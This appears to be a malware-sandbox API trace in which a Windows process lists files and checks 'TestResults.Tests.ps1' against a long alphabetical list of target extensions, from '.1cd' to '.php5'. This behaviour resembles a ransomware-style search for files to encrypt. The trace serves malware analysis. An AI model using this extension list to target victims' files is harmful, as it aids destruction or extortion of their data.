	[0182.816] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9205, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.816] lstrlenW (lpString="TestResults.Tests.ps1") returned 21
	[0182.816] lstrlenW (lpString=".1cd") returned 4
	[0182.816] lstrcmpiW (lpString1=".1cd", lpString2=".ps1") returned -1
	[0182.816] lstrlenW (lpString=".3ds") returned 4
	[0182.816] lstrcmpiW (lpString1=".3ds", lpString2=".ps1") returned -1
	[0182.816] lstrlenW (lpString=".3fr") returned 4
	[0182.816] lstrcmpiW (lpString1=".3fr", lpString2=".ps1") returned -1
	[0182.816] lstrlenW (lpString=".3g2") returned 4
	[0182.816] lstrcmpiW (lpString1=".3g2", lpString2=".ps1") returned -1
	[0182.816] lstrlenW (lpString=".3gp") returned 4
	[0182.816] lstrcmpiW (lpString1=".3gp", lpString2=".ps1") returned -1
	[0182.816] lstrlenW (lpString=".7z") returned 3
	[0182.817] lstrcmpiW (lpString1=".7z", lpString2="ps1") returned -1
	[0182.817] lstrlenW (lpString=".accda") returned 6
	[0182.817] lstrcmpiW (lpString1=".accda", lpString2="ts.ps1") returned -1
	[0182.817] lstrlenW (lpString=".accdb") returned 6
	[0182.817] lstrcmpiW (lpString1=".accdb", lpString2="ts.ps1") returned -1
	[0182.817] lstrlenW (lpString=".accdc") returned 6
	[0182.817] lstrcmpiW (lpString1=".accdc", lpString2="ts.ps1") returned -1
	[0182.817] lstrlenW (lpString=".accde") returned 6
	[0182.817] lstrcmpiW (lpString1=".accde", lpString2="ts.ps1") returned -1
	[0182.817] lstrlenW (lpString=".accdt") returned 6
	[0182.817] lstrcmpiW (lpString1=".accdt", lpString2="ts.ps1") returned -1
	[0182.817] lstrlenW (lpString=".accdw") returned 6
	[0182.817] lstrcmpiW (lpString1=".accdw", lpString2="ts.ps1") returned -1
	[0182.817] lstrlenW (lpString=".adb") returned 4
	[0182.817] lstrcmpiW (lpString1=".adb", lpString2=".ps1") returned -1
	[0182.817] lstrlenW (lpString=".adp") returned 4
	[0182.817] lstrcmpiW (lpString1=".adp", lpString2=".ps1") returned -1
	[0182.817] lstrlenW (lpString=".ai") returned 3
	[0182.817] lstrcmpiW (lpString1=".ai", lpString2="ps1") returned -1
	[0182.817] lstrlenW (lpString=".ai3") returned 4
	[0182.817] lstrcmpiW (lpString1=".ai3", lpString2=".ps1") returned -1
	[0182.817] lstrlenW (lpString=".ai4") returned 4
	[0182.817] lstrcmpiW (lpString1=".ai4", lpString2=".ps1") returned -1
	[0182.817] lstrlenW (lpString=".ai5") returned 4
	[0182.817] lstrcmpiW (lpString1=".ai5", lpString2=".ps1") returned -1
	[0182.817] lstrlenW (lpString=".ai6") returned 4
	[0182.817] lstrcmpiW (lpString1=".ai6", lpString2=".ps1") returned -1
	[0182.817] lstrlenW (lpString=".ai7") returned 4
	[0182.817] lstrcmpiW (lpString1=".ai7", lpString2=".ps1") returned -1
	[0182.817] lstrlenW (lpString=".ai8") returned 4
	[0182.817] lstrcmpiW (lpString1=".ai8", lpString2=".ps1") returned -1
	[0182.817] lstrlenW (lpString=".anim") returned 5
	[0182.817] lstrcmpiW (lpString1=".anim", lpString2="s.ps1") returned -1
	[0182.817] lstrlenW (lpString=".arw") returned 4
	[0182.817] lstrcmpiW (lpString1=".arw", lpString2=".ps1") returned -1
	[0182.817] lstrlenW (lpString=".as") returned 3
	[0182.817] lstrcmpiW (lpString1=".as", lpString2="ps1") returned -1
	[0182.818] lstrlenW (lpString=".asa") returned 4
	[0182.818] lstrcmpiW (lpString1=".asa", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".asc") returned 4
	[0182.818] lstrcmpiW (lpString1=".asc", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".ascx") returned 5
	[0182.818] lstrcmpiW (lpString1=".ascx", lpString2="s.ps1") returned -1
	[0182.818] lstrlenW (lpString=".asm") returned 4
	[0182.818] lstrcmpiW (lpString1=".asm", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".asmx") returned 5
	[0182.818] lstrcmpiW (lpString1=".asmx", lpString2="s.ps1") returned -1
	[0182.818] lstrlenW (lpString=".asp") returned 4
	[0182.818] lstrcmpiW (lpString1=".asp", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".aspx") returned 5
	[0182.818] lstrcmpiW (lpString1=".aspx", lpString2="s.ps1") returned -1
	[0182.818] lstrlenW (lpString=".asr") returned 4
	[0182.818] lstrcmpiW (lpString1=".asr", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".asx") returned 4
	[0182.818] lstrcmpiW (lpString1=".asx", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".avi") returned 4
	[0182.818] lstrcmpiW (lpString1=".avi", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".avs") returned 4
	[0182.818] lstrcmpiW (lpString1=".avs", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".backup") returned 7
	[0182.818] lstrcmpiW (lpString1=".backup", lpString2="sts.ps1") returned -1
	[0182.818] lstrlenW (lpString=".bak") returned 4
	[0182.818] lstrcmpiW (lpString1=".bak", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".bay") returned 4
	[0182.818] lstrcmpiW (lpString1=".bay", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".bd") returned 3
	[0182.818] lstrcmpiW (lpString1=".bd", lpString2="ps1") returned -1
	[0182.818] lstrlenW (lpString=".bin") returned 4
	[0182.818] lstrcmpiW (lpString1=".bin", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".bmp") returned 4
	[0182.818] lstrcmpiW (lpString1=".bmp", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".bz2") returned 4
	[0182.818] lstrcmpiW (lpString1=".bz2", lpString2=".ps1") returned -1
	[0182.818] lstrlenW (lpString=".c") returned 2
	[0182.819] lstrcmpiW (lpString1=".c", lpString2="s1") returned -1
	[0182.819] lstrlenW (lpString=".cdr") returned 4
	[0182.819] lstrcmpiW (lpString1=".cdr", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".cer") returned 4
	[0182.819] lstrcmpiW (lpString1=".cer", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".cf") returned 3
	[0182.819] lstrcmpiW (lpString1=".cf", lpString2="ps1") returned -1
	[0182.819] lstrlenW (lpString=".cfc") returned 4
	[0182.819] lstrcmpiW (lpString1=".cfc", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".cfm") returned 4
	[0182.819] lstrcmpiW (lpString1=".cfm", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".cfml") returned 5
	[0182.819] lstrcmpiW (lpString1=".cfml", lpString2="s.ps1") returned -1
	[0182.819] lstrlenW (lpString=".cfu") returned 4
	[0182.819] lstrcmpiW (lpString1=".cfu", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".chm") returned 4
	[0182.819] lstrcmpiW (lpString1=".chm", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".cin") returned 4
	[0182.819] lstrcmpiW (lpString1=".cin", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".class") returned 6
	[0182.819] lstrcmpiW (lpString1=".class", lpString2="ts.ps1") returned -1
	[0182.819] lstrlenW (lpString=".clx") returned 4
	[0182.819] lstrcmpiW (lpString1=".clx", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".config") returned 7
	[0182.819] lstrcmpiW (lpString1=".config", lpString2="sts.ps1") returned -1
	[0182.819] lstrlenW (lpString=".cpp") returned 4
	[0182.819] lstrcmpiW (lpString1=".cpp", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".cr2") returned 4
	[0182.819] lstrcmpiW (lpString1=".cr2", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".crt") returned 4
	[0182.819] lstrcmpiW (lpString1=".crt", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".crw") returned 4
	[0182.819] lstrcmpiW (lpString1=".crw", lpString2=".ps1") returned -1
	[0182.819] lstrlenW (lpString=".cs") returned 3
	[0182.819] lstrcmpiW (lpString1=".cs", lpString2="ps1") returned -1
	[0182.819] lstrlenW (lpString=".css") returned 4
	[0182.819] lstrcmpiW (lpString1=".css", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".csv") returned 4
	[0182.820] lstrcmpiW (lpString1=".csv", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".cub") returned 4
	[0182.820] lstrcmpiW (lpString1=".cub", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".dae") returned 4
	[0182.820] lstrcmpiW (lpString1=".dae", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".dat") returned 4
	[0182.820] lstrcmpiW (lpString1=".dat", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".db") returned 3
	[0182.820] lstrcmpiW (lpString1=".db", lpString2="ps1") returned -1
	[0182.820] lstrlenW (lpString=".dbf") returned 4
	[0182.820] lstrcmpiW (lpString1=".dbf", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".dbx") returned 4
	[0182.820] lstrcmpiW (lpString1=".dbx", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".dc3") returned 4
	[0182.820] lstrcmpiW (lpString1=".dc3", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".dcm") returned 4
	[0182.820] lstrcmpiW (lpString1=".dcm", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".dcr") returned 4
	[0182.820] lstrcmpiW (lpString1=".dcr", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".der") returned 4
	[0182.820] lstrcmpiW (lpString1=".der", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".dib") returned 4
	[0182.820] lstrcmpiW (lpString1=".dib", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".dic") returned 4
	[0182.820] lstrcmpiW (lpString1=".dic", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".dif") returned 4
	[0182.820] lstrcmpiW (lpString1=".dif", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".divx") returned 5
	[0182.820] lstrcmpiW (lpString1=".divx", lpString2="s.ps1") returned -1
	[0182.820] lstrlenW (lpString=".djvu") returned 5
	[0182.820] lstrcmpiW (lpString1=".djvu", lpString2="s.ps1") returned -1
	[0182.820] lstrlenW (lpString=".dng") returned 4
	[0182.820] lstrcmpiW (lpString1=".dng", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".doc") returned 4
	[0182.820] lstrcmpiW (lpString1=".doc", lpString2=".ps1") returned -1
	[0182.820] lstrlenW (lpString=".docm") returned 5
	[0182.821] lstrcmpiW (lpString1=".docm", lpString2="s.ps1") returned -1
	[0182.821] lstrlenW (lpString=".docx") returned 5
	[0182.821] lstrcmpiW (lpString1=".docx", lpString2="s.ps1") returned -1
	[0182.821] lstrlenW (lpString=".dot") returned 4
	[0182.821] lstrcmpiW (lpString1=".dot", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".dotm") returned 5
	[0182.821] lstrcmpiW (lpString1=".dotm", lpString2="s.ps1") returned -1
	[0182.821] lstrlenW (lpString=".dotx") returned 5
	[0182.821] lstrcmpiW (lpString1=".dotx", lpString2="s.ps1") returned -1
	[0182.821] lstrlenW (lpString=".dpx") returned 4
	[0182.821] lstrcmpiW (lpString1=".dpx", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".dqy") returned 4
	[0182.821] lstrcmpiW (lpString1=".dqy", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".dsn") returned 4
	[0182.821] lstrcmpiW (lpString1=".dsn", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".dt") returned 3
	[0182.821] lstrcmpiW (lpString1=".dt", lpString2="ps1") returned -1
	[0182.821] lstrlenW (lpString=".dtd") returned 4
	[0182.821] lstrcmpiW (lpString1=".dtd", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".dwg") returned 4
	[0182.821] lstrcmpiW (lpString1=".dwg", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".dwt") returned 4
	[0182.821] lstrcmpiW (lpString1=".dwt", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".dx") returned 3
	[0182.821] lstrcmpiW (lpString1=".dx", lpString2="ps1") returned -1
	[0182.821] lstrlenW (lpString=".dxf") returned 4
	[0182.821] lstrcmpiW (lpString1=".dxf", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".edml") returned 5
	[0182.821] lstrcmpiW (lpString1=".edml", lpString2="s.ps1") returned -1
	[0182.821] lstrlenW (lpString=".efd") returned 4
	[0182.821] lstrcmpiW (lpString1=".efd", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".elf") returned 4
	[0182.821] lstrcmpiW (lpString1=".elf", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".emf") returned 4
	[0182.821] lstrcmpiW (lpString1=".emf", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".emz") returned 4
	[0182.821] lstrcmpiW (lpString1=".emz", lpString2=".ps1") returned -1
	[0182.821] lstrlenW (lpString=".epf") returned 4
	[0182.822] lstrcmpiW (lpString1=".epf", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".eps") returned 4
	[0182.822] lstrcmpiW (lpString1=".eps", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".epsf") returned 5
	[0182.822] lstrcmpiW (lpString1=".epsf", lpString2="s.ps1") returned -1
	[0182.822] lstrlenW (lpString=".epsp") returned 5
	[0182.822] lstrcmpiW (lpString1=".epsp", lpString2="s.ps1") returned -1
	[0182.822] lstrlenW (lpString=".erf") returned 4
	[0182.822] lstrcmpiW (lpString1=".erf", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".exr") returned 4
	[0182.822] lstrcmpiW (lpString1=".exr", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".f4v") returned 4
	[0182.822] lstrcmpiW (lpString1=".f4v", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".fido") returned 5
	[0182.822] lstrcmpiW (lpString1=".fido", lpString2="s.ps1") returned -1
	[0182.822] lstrlenW (lpString=".flm") returned 4
	[0182.822] lstrcmpiW (lpString1=".flm", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".flv") returned 4
	[0182.822] lstrcmpiW (lpString1=".flv", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".frm") returned 4
	[0182.822] lstrcmpiW (lpString1=".frm", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".fxg") returned 4
	[0182.822] lstrcmpiW (lpString1=".fxg", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".geo") returned 4
	[0182.822] lstrcmpiW (lpString1=".geo", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".gif") returned 4
	[0182.822] lstrcmpiW (lpString1=".gif", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".grs") returned 4
	[0182.822] lstrcmpiW (lpString1=".grs", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".gz") returned 3
	[0182.822] lstrcmpiW (lpString1=".gz", lpString2="ps1") returned -1
	[0182.822] lstrlenW (lpString=".h") returned 2
	[0182.822] lstrcmpiW (lpString1=".h", lpString2="s1") returned -1
	[0182.822] lstrlenW (lpString=".hdr") returned 4
	[0182.822] lstrcmpiW (lpString1=".hdr", lpString2=".ps1") returned -1
	[0182.822] lstrlenW (lpString=".hpp") returned 4
	[0182.822] lstrcmpiW (lpString1=".hpp", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".hta") returned 4
	[0182.823] lstrcmpiW (lpString1=".hta", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".htc") returned 4
	[0182.823] lstrcmpiW (lpString1=".htc", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".htm") returned 4
	[0182.823] lstrcmpiW (lpString1=".htm", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".html") returned 5
	[0182.823] lstrcmpiW (lpString1=".html", lpString2="s.ps1") returned -1
	[0182.823] lstrlenW (lpString=".icb") returned 4
	[0182.823] lstrcmpiW (lpString1=".icb", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".ics") returned 4
	[0182.823] lstrcmpiW (lpString1=".ics", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".iff") returned 4
	[0182.823] lstrcmpiW (lpString1=".iff", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".inc") returned 4
	[0182.823] lstrcmpiW (lpString1=".inc", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".indd") returned 5
	[0182.823] lstrcmpiW (lpString1=".indd", lpString2="s.ps1") returned -1
	[0182.823] lstrlenW (lpString=".ini") returned 4
	[0182.823] lstrcmpiW (lpString1=".ini", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".iqy") returned 4
	[0182.823] lstrcmpiW (lpString1=".iqy", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".j2c") returned 4
	[0182.823] lstrcmpiW (lpString1=".j2c", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".j2k") returned 4
	[0182.823] lstrcmpiW (lpString1=".j2k", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".java") returned 5
	[0182.823] lstrcmpiW (lpString1=".java", lpString2="s.ps1") returned -1
	[0182.823] lstrlenW (lpString=".jp2") returned 4
	[0182.823] lstrcmpiW (lpString1=".jp2", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".jpc") returned 4
	[0182.823] lstrcmpiW (lpString1=".jpc", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".jpe") returned 4
	[0182.823] lstrcmpiW (lpString1=".jpe", lpString2=".ps1") returned -1
	[0182.823] lstrlenW (lpString=".jpeg") returned 5
	[0182.823] lstrcmpiW (lpString1=".jpeg", lpString2="s.ps1") returned -1
	[0182.823] lstrlenW (lpString=".jpf") returned 4
	[0182.824] lstrcmpiW (lpString1=".jpf", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".jpg") returned 4
	[0182.824] lstrcmpiW (lpString1=".jpg", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".jpx") returned 4
	[0182.824] lstrcmpiW (lpString1=".jpx", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".js") returned 3
	[0182.824] lstrcmpiW (lpString1=".js", lpString2="ps1") returned -1
	[0182.824] lstrlenW (lpString=".jsf") returned 4
	[0182.824] lstrcmpiW (lpString1=".jsf", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".json") returned 5
	[0182.824] lstrcmpiW (lpString1=".json", lpString2="s.ps1") returned -1
	[0182.824] lstrlenW (lpString=".jsp") returned 4
	[0182.824] lstrcmpiW (lpString1=".jsp", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".kdc") returned 4
	[0182.824] lstrcmpiW (lpString1=".kdc", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".kmz") returned 4
	[0182.824] lstrcmpiW (lpString1=".kmz", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".kwm") returned 4
	[0182.824] lstrcmpiW (lpString1=".kwm", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".lasso") returned 6
	[0182.824] lstrcmpiW (lpString1=".lasso", lpString2="ts.ps1") returned -1
	[0182.824] lstrlenW (lpString=".lbi") returned 4
	[0182.824] lstrcmpiW (lpString1=".lbi", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".lgf") returned 4
	[0182.824] lstrcmpiW (lpString1=".lgf", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".lgp") returned 4
	[0182.824] lstrcmpiW (lpString1=".lgp", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".log") returned 4
	[0182.824] lstrcmpiW (lpString1=".log", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".m1v") returned 4
	[0182.824] lstrcmpiW (lpString1=".m1v", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".m4a") returned 4
	[0182.824] lstrcmpiW (lpString1=".m4a", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".m4v") returned 4
	[0182.824] lstrcmpiW (lpString1=".m4v", lpString2=".ps1") returned -1
	[0182.824] lstrlenW (lpString=".max") returned 4
	[0182.824] lstrcmpiW (lpString1=".max", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".md") returned 3
	[0182.825] lstrcmpiW (lpString1=".md", lpString2="ps1") returned -1
	[0182.825] lstrlenW (lpString=".mda") returned 4
	[0182.825] lstrcmpiW (lpString1=".mda", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mdb") returned 4
	[0182.825] lstrcmpiW (lpString1=".mdb", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mde") returned 4
	[0182.825] lstrcmpiW (lpString1=".mde", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mdf") returned 4
	[0182.825] lstrcmpiW (lpString1=".mdf", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mdw") returned 4
	[0182.825] lstrcmpiW (lpString1=".mdw", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mef") returned 4
	[0182.825] lstrcmpiW (lpString1=".mef", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mft") returned 4
	[0182.825] lstrcmpiW (lpString1=".mft", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mfw") returned 4
	[0182.825] lstrcmpiW (lpString1=".mfw", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mht") returned 4
	[0182.825] lstrcmpiW (lpString1=".mht", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mhtml") returned 6
	[0182.825] lstrcmpiW (lpString1=".mhtml", lpString2="ts.ps1") returned -1
	[0182.825] lstrlenW (lpString=".mka") returned 4
	[0182.825] lstrcmpiW (lpString1=".mka", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mkidx") returned 6
	[0182.825] lstrcmpiW (lpString1=".mkidx", lpString2="ts.ps1") returned -1
	[0182.825] lstrlenW (lpString=".mkv") returned 4
	[0182.825] lstrcmpiW (lpString1=".mkv", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mos") returned 4
	[0182.825] lstrcmpiW (lpString1=".mos", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mov") returned 4
	[0182.825] lstrcmpiW (lpString1=".mov", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mp3") returned 4
	[0182.825] lstrcmpiW (lpString1=".mp3", lpString2=".ps1") returned -1
	[0182.825] lstrlenW (lpString=".mp4") returned 4
	[0182.825] lstrcmpiW (lpString1=".mp4", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".mpeg") returned 5
	[0182.826] lstrcmpiW (lpString1=".mpeg", lpString2="s.ps1") returned -1
	[0182.826] lstrlenW (lpString=".mpg") returned 4
	[0182.826] lstrcmpiW (lpString1=".mpg", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".mpv") returned 4
	[0182.826] lstrcmpiW (lpString1=".mpv", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".mrw") returned 4
	[0182.826] lstrcmpiW (lpString1=".mrw", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".msg") returned 4
	[0182.826] lstrcmpiW (lpString1=".msg", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".mxl") returned 4
	[0182.826] lstrcmpiW (lpString1=".mxl", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".myd") returned 4
	[0182.826] lstrcmpiW (lpString1=".myd", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".myi") returned 4
	[0182.826] lstrcmpiW (lpString1=".myi", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".nef") returned 4
	[0182.826] lstrcmpiW (lpString1=".nef", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".nrw") returned 4
	[0182.826] lstrcmpiW (lpString1=".nrw", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".obj") returned 4
	[0182.826] lstrcmpiW (lpString1=".obj", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".odb") returned 4
	[0182.826] lstrcmpiW (lpString1=".odb", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".odc") returned 4
	[0182.826] lstrcmpiW (lpString1=".odc", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".odm") returned 4
	[0182.826] lstrcmpiW (lpString1=".odm", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".odp") returned 4
	[0182.826] lstrcmpiW (lpString1=".odp", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".ods") returned 4
	[0182.826] lstrcmpiW (lpString1=".ods", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".oft") returned 4
	[0182.826] lstrcmpiW (lpString1=".oft", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".one") returned 4
	[0182.826] lstrcmpiW (lpString1=".one", lpString2=".ps1") returned -1
	[0182.826] lstrlenW (lpString=".onepkg") returned 7
	[0182.826] lstrcmpiW (lpString1=".onepkg", lpString2="sts.ps1") returned -1
	[0182.827] lstrlenW (lpString=".onetoc2") returned 8
	[0182.827] lstrcmpiW (lpString1=".onetoc2", lpString2="ests.ps1") returned -1
	[0182.827] lstrlenW (lpString=".opt") returned 4
	[0182.827] lstrcmpiW (lpString1=".opt", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".oqy") returned 4
	[0182.827] lstrcmpiW (lpString1=".oqy", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".orf") returned 4
	[0182.827] lstrcmpiW (lpString1=".orf", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".p12") returned 4
	[0182.827] lstrcmpiW (lpString1=".p12", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".p7b") returned 4
	[0182.827] lstrcmpiW (lpString1=".p7b", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".p7c") returned 4
	[0182.827] lstrcmpiW (lpString1=".p7c", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pam") returned 4
	[0182.827] lstrcmpiW (lpString1=".pam", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pbm") returned 4
	[0182.827] lstrcmpiW (lpString1=".pbm", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pct") returned 4
	[0182.827] lstrcmpiW (lpString1=".pct", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pcx") returned 4
	[0182.827] lstrcmpiW (lpString1=".pcx", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pdd") returned 4
	[0182.827] lstrcmpiW (lpString1=".pdd", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pdf") returned 4
	[0182.827] lstrcmpiW (lpString1=".pdf", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pdp") returned 4
	[0182.827] lstrcmpiW (lpString1=".pdp", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pef") returned 4
	[0182.827] lstrcmpiW (lpString1=".pef", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pem") returned 4
	[0182.827] lstrcmpiW (lpString1=".pem", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pff") returned 4
	[0182.827] lstrcmpiW (lpString1=".pff", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pfm") returned 4
	[0182.827] lstrcmpiW (lpString1=".pfm", lpString2=".ps1") returned -1
	[0182.827] lstrlenW (lpString=".pfx") returned 4
	[0182.828] lstrcmpiW (lpString1=".pfx", lpString2=".ps1") returned -1
	[0182.828] lstrlenW (lpString=".pgm") returned 4
	[0182.828] lstrcmpiW (lpString1=".pgm", lpString2=".ps1") returned -1
	[0182.828] lstrlenW (lpString=".php") returned 4
	[0182.828] lstrcmpiW (lpString1=".php", lpString2=".ps1") returned -1
	[0182.828] lstrlenW (lpString=".php3") returned 5
	[0182.828] lstrcmpiW (lpString1=".php3", lpString2="s.ps1") returned -1
	[0182.828] lstrlenW (lpString=".php4") returned 5
	[0182.828] lstrcmpiW (lpString1=".php4", lpString2="s.ps1") returned -1
	[0182.828] lstrlenW (lpString=".php5") returned 5
	[0182.828] lstrcmpiW (lpString1=".php5", lpString2="s.ps1") returned -1
